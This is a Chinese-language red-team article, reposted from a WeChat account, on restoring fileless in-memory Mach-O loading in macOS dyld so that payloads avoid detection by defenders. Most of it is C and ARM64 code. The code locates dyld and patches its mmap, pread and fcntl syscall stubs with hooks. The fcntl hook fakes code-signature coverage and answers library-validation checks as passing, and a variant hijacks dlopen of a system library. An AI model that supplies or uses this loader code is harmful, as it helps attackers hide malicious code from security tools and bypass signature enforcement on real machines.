IOS逆向:恢复Dyld的内存加载方式

admin 2025年1月21日19:20:45评论3 views字数 7419阅读24分43秒阅读模式

之前我们一直在使用由dyld及其NSCreateObjectFileImageFromMemory/NSLinkModule API方法所提供的Mach-O捆绑包的内存加载方式。虽然这些方法我们今天仍然还在使用,但是这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上。

@roguesys 在 2022 年 2 月发布公告称,dyld 的代码已经被更新,传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。

作为一个红队队员,这对于我们的渗透工作并没有好处。毕竟,NSLinkModule一个非常有用的api函数,这个函数可以使得我们的有效载荷不被蓝队轻易的发现。

因此,在这篇文章中,我们来仔细看看dyld的变化,并看看我们能做些什么来恢复这一功能,让我们的工具在内存中多保存一段时间,防止被蓝队过早的发现。

NSLinkModule有何与众不同

由于dyld是开源的,我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。

该函数的签名为:

NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... }

该函数的第一个参数是ofi,它是用NSCreateObjectFileImageFromMemory创建的,它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数,前者只是用于记录语句,后者一般是被忽略不用的。

通过查看代码发现,最新版本的NSLinkModule,会将osi所指向的内存写入磁盘。

if ( ofi->memSource !=nullptr){
...
char        tempFileName[PATH_MAX];
constchar* tmpDir =this->libSystemHelpers->getenv("TMPDIR");
if((tmpDir !=nullptr)&&(strlen(tmpDir)>2)){
        strlcpy(tempFileName, tmpDir, PATH_MAX);
if( tmpDir[strlen(tmpDir)-1]!='/')
            strlcat(tempFileName,"/", PATH_MAX);
}
else
        strlcpy(tempFileName,"/tmp/", PATH_MAX);
    strlcat(tempFileName,"NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);
int fd =this->libSystemHelpers->mkstemp(tempFileName);
if( fd !=-1){
ssize_t writtenSize =::pwrite(fd, ofi->memSource, ofi->memLength,0);
}
...
}

通过分析可以发现,代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中,只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘,并且路径会被传递给dlopen_from。

...
ofi->handle = dlopen_from(ofi->path, openMode, callerAddress);
...

因此,从本质上讲,这也就使得NSLinkModule成为了dlopen的一个封装器。

那我们能否恢复dyld之前的内存加载特性呢?

我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么,如果我们在调用之前拦截它们,会发生什么呢?

使用dyld进行hook

为了拦截 I/O 调用,我们首先需要了解如何对dyld进行hook。

我们研究看看dyld是如何处理mmap调用的。启动 Hopper 并加载 /usr/lib/dyld, 显示mmap 是由 dyld 使用 svc 调用的。

IOS逆向:恢复Dyld的内存加载方式

知道了这一点,如果我们找到内存中存放这段代码的位置,我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢?用下面的这段代码就可以。

ldr x8, _value
br x8
_value: .ascii "x41x42x43x44x45x46x47x48" ; Update to our br location

在我们进行操作之前,首先我们找到进程地址空间中dyld的基址。这是通过调用task_info完成的,我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。

void *getDyldBase(void){
struct task_dyld_info dyld_info;
mach_vm_address_t image_infos;
struct dyld_all_image_infos *infos;

mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
kern_return_t ret;

    ret = task_info(mach_task_self_,
                    TASK_DYLD_INFO,
(task_info_t)&dyld_info,
&count);

if(ret != KERN_SUCCESS){
returnNULL;
}

    image_infos = dyld_info.all_image_info_addr;

    infos =(struct dyld_all_image_infos *)image_infos;
return infos->dyldImageLoadAddress;
}

只要我们有了dyld的基址,我们就可以为mmap服务的调用查找签名。

bool searchAndPatch(char *base, char *signature, int length, void *target){

char*patchAddr =NULL;
kern_return_t kret;

for(int i=0; i <0x100000; i++){
if(base[i]== signature[0]&&memcmp(base+i, signature, length)==0){
            patchAddr = base + i;
break;
}
}
    ...

当我们找到一个匹配的签名时,我们可以在我们的ARM64的Stub中打补丁。由于我们要处理的是内存的 "Read-Exec"页,我们需要用以下方法来更新内存保护。

kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);
if (kret != KERN_SUCCESS) {
    return FALSE;
}

注意这里的VM_PROT, 这个是必须要设定的,因为该内存页在其最大内存保护中没有设置写权限。

设置了写权限后,我们可以用我们的补丁覆盖内存,然后将保护重新设定为Read-Exec。

// Copy our path
memcpy(patchAddr, patch,sizeof(patch));

// Set the br address for our hook call
*(void**)((char*)patchAddr +16)= target;

// Return exec permission
kret = vm_protect(mach_task_self(),(vm_address_t)patchAddr,sizeof(patch),false, PROT_READ | PROT_EXEC);
if(kret != KERN_SUCCESS){
return FALSE;
}

现在我们需要思考一下,当我们在试图修改可执行的内存页时,在M1 macs上会发生什么。

由于macOS要确保每一页可执行内存都有签名,这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限(com.apple.security.cs.disable-executable-page-protection也适用)来运行我们的代码。

IOS逆向:恢复Dyld的内存加载方式

那么,既然如此,我们该如何处理我们的hook程序呢?

API模拟调用

有了所有组件的映射,我们现在就可以开始模拟API的调用。根据dyld的代码,我们需要对mmap、pread、fcntl的内容进行处理。

如果我们这样做是正确的,我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用,而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时,我们就可以用内存中的副本动态地交换内容。

首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名,这是dyld写入磁盘的临时文件。

如果是这样的话,我们就不需要从磁盘上映射内存了,只要简单地分配一个新的内存区域,然后复制到我们构造的Mach-O包上。

#define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-"

constvoid*hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset){
char*alloc;
char filePath[PATH_MAX];
int newFlags;

memset(filePath,0,sizeof(filePath));

// Check if the file is our "in-memory" file
if(fcntl(fd, F_GETPATH, filePath)!=-1){
if(strstr(filePath, FILENAME_SEARCH)>0){

            newFlags = MAP_PRIVATE | MAP_ANONYMOUS;
if(addr !=0){
                newFlags |= MAP_FIXED;
}

            alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags,0,0);
memcpy(alloc, memoryLoadedFile+offset, len);
            vm_protect(mach_task_self(),(vm_address_t)alloc, len,false, prot);
return alloc;
}
}

// If for another file, we pass through
return mmap(addr, len, prot, flags, fd, offset);
}

接下来是pread参数,它会被dyld在加载时用来多次验证Mach-O的UUID。

ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset){
char filePath[PATH_MAX];

memset(filePath,0,sizeof(filePath));

// Check if the file is our "in-memory" file
if(fcntl(fd, F_GETPATH, filePath)!=-1){
if(strstr(filePath, FILENAME_SEARCH)>0){
memcpy(buf, memoryLoadedFile+offset, nbyte);
return nbyte;
}
}

// If for another file, we pass through
return pread(fd, buf, nbyte, offset);
}

最后我们处理fcntl。它会在很多地方被调用,可以在任何可能会失败的mmap调用之前验证编码的要求。

IOS逆向:恢复Dyld的内存加载方式

由于我们已经完成了hook,我们可以使dyld正常运行来绕过这些检查。

int hookedFcntl(int fildes, int cmd, void* param){

char filePath[PATH_MAX];

memset(filePath,0,sizeof(filePath));

// Check if the file is our "in-memory" file
if(fcntl(fildes, F_GETPATH, filePath)!=-1){
if(strstr(filePath, FILENAME_SEARCH)>0){
if(cmd == F_ADDFILESIGS_RETURN){
fsignatures_t*fsig =(fsignatures_t*)param;

// called to check that cert covers file.. so we'll make it cover everything ;)
                fsig->fs_file_start =0xFFFFFFFF;
return0;
}

// Signature sanity check by dyld
if(cmd == F_CHECK_LV){
// Just say everything is fine
return0;
}
}
}

return fcntl(fildes, cmd, param);
}

有了以上这些,然后我们可以把这一切组合起来。

int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]){
@autoreleasepool{
char*dyldBase;
int fd;
int size;
void(*function)(void);
NSObjectFileImage fileImage;

// Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/
        size = readFile("/tmp/loadme",&memoryLoadedFile);

        dyldBase = getDyldBase();
        searchAndPatch(dyldBase, mmapSig,sizeof(mmapSig), hookedMmap);
        searchAndPatch(dyldBase, preadSig,sizeof(preadSig), hookedPread);
        searchAndPatch(dyldBase, fcntlSig,sizeof(fcntlSig), hookedFcntl);

// Set up blank content, same size as our Mach-O
char*fakeImage =(char*)malloc(size);
memset(fakeImage,0x41, size);

// Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image
        fileImage =(NSObjectFileImage)malloc(1024);
*(void**)(((char*)fileImage+0x8))= fakeImage;
*(void**)(((char*)fileImage+0x10))= size;

void*module =NSLinkModule(fileImage,"test", NSLINKMODULE_OPTION_PRIVATE);
void*symbol =NSLookupSymbolInModule(module,"runme");
        function =NSAddressOfSymbol(symbol);
        function();
}
}

当我们执行时,可以看到在硬盘上就会创建我们的虚假文件。

IOS逆向:恢复Dyld的内存加载方式

但通过在运行时的交换内容来看,我们发现我们的内存模块加载完全正常。

IOS逆向:恢复Dyld的内存加载方式

其他

所以,最后一个阶段让我感到很困惑......我们使用了NSLinkModule,它生成了一个临时文件,并且用垃圾字符对它进行了填充。如果我们忽略这一点,而只是使用操作系统中的任意一个库来调用dlopen呢?这样应该就可以避免我们向磁盘中写入任何文件。

事实证明,这个想法是正确的。比如:

void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW);
function = dlsym(a, "runme");
function();

而不是只是搜索NSCreateObjectFileImageFromMemory,我们只是在搜索任何加载libffi-trampolines.dylib的引用,并通过我们的代码进行了替换,我们得到了同样的结果。

IOS逆向:恢复Dyld的内存加载方式

这里有一些注意事项。首先,我们需要确保库比我们自己要加载的模块大,否则当涉及到pread和mmap时,系统最终会截断我们的Mach-O。

IOS逆向:恢复Dyld的内存加载方式
学习网安实战技能课程,戳“阅读原文“

原文始发于微信公众号(蚁景网安):IOS逆向:恢复Dyld的内存加载方式

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月21日19:20:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   IOS逆向:恢复Dyld的内存加载方式https://cn-sec.com/archives/3656472.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息